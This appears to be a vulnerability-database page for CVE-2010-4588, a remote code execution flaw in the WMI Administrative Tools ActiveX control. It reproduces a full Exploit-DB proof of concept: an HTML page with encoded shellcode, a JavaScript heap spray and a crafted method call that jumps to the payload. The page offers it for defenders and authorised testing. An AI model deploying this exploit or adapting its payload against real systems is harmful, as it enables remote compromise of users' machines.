CVE-2010-4588

critical

Published 2010-12-23 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

The WBEMSingleView.ocx ActiveX control 1.50.1131.0 in Microsoft WMI Administrative Tools 1.1 and earlier allows remote attackers to execute arbitrary code via a crafted argument to the ReleaseContext method, a different vector than CVE-2010-3973, possibly an untrusted pointer dereference.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-15809 remote windows verified text · 1 KB

WooYun · 2010-12-22

Microsoft WMITools - ActiveX Remote Command Execution

text exploit Source: Exploit-DB

Exploit-DB Notes:
Original credit goes to "牛奶坦克" via WooYun:
http://www.wooyun.org/bugs/wooyun-2010-01006

<html>

<object classid="clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08" id="target"></object>



<SCRIPT language="JavaScript">

//run calc.exe

var shellcode = unescape("%uc92b%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u0c13%u452b%u83df%ufceb%uf4e2%uc3f0%udf01%u2b0c%u9ace%ua030%uda39%u2a74%u54aa%u3343%u80ce%u2a2c%u96ae%u1f87%udece%u1ae2%u4685%uafa0%uab85%uea0b%ud28f%ue90d%u2bae%u7f37%udb61%uce79%u80ce%u2a28%ub9ae%u2787%u540e%u3753%u3444%u3787%udece%ua2e7%ufb19%ue808%u1f74%ua068%uef05%ueb89%ud33d%u6b87%u5449%u377c%u54e8%u2364%ud6ae%uab87%udff5%u2b0c%ub7ce%u7430%u2974%u7d6c%u27cc%ueb8f%u8f3e%udb64%udbcf%u4353%u21dd%u2586%u2012%u48eb%ub324%u2b6f%udf45%u0000");



//先喷好堆

var bigblock = unescape("%u0C0C%u0C0C");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<350; x++) memory[x] = block +shellcode;



//让程序直接call过去

target.AddContextRef(0x0c0c0c0c);

</script>

</html>

Application impact

Vendor	Product	Versions	Fixed
microsoft	wmi_administrative_tools	`{"endIncluding":"1.1"}`

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.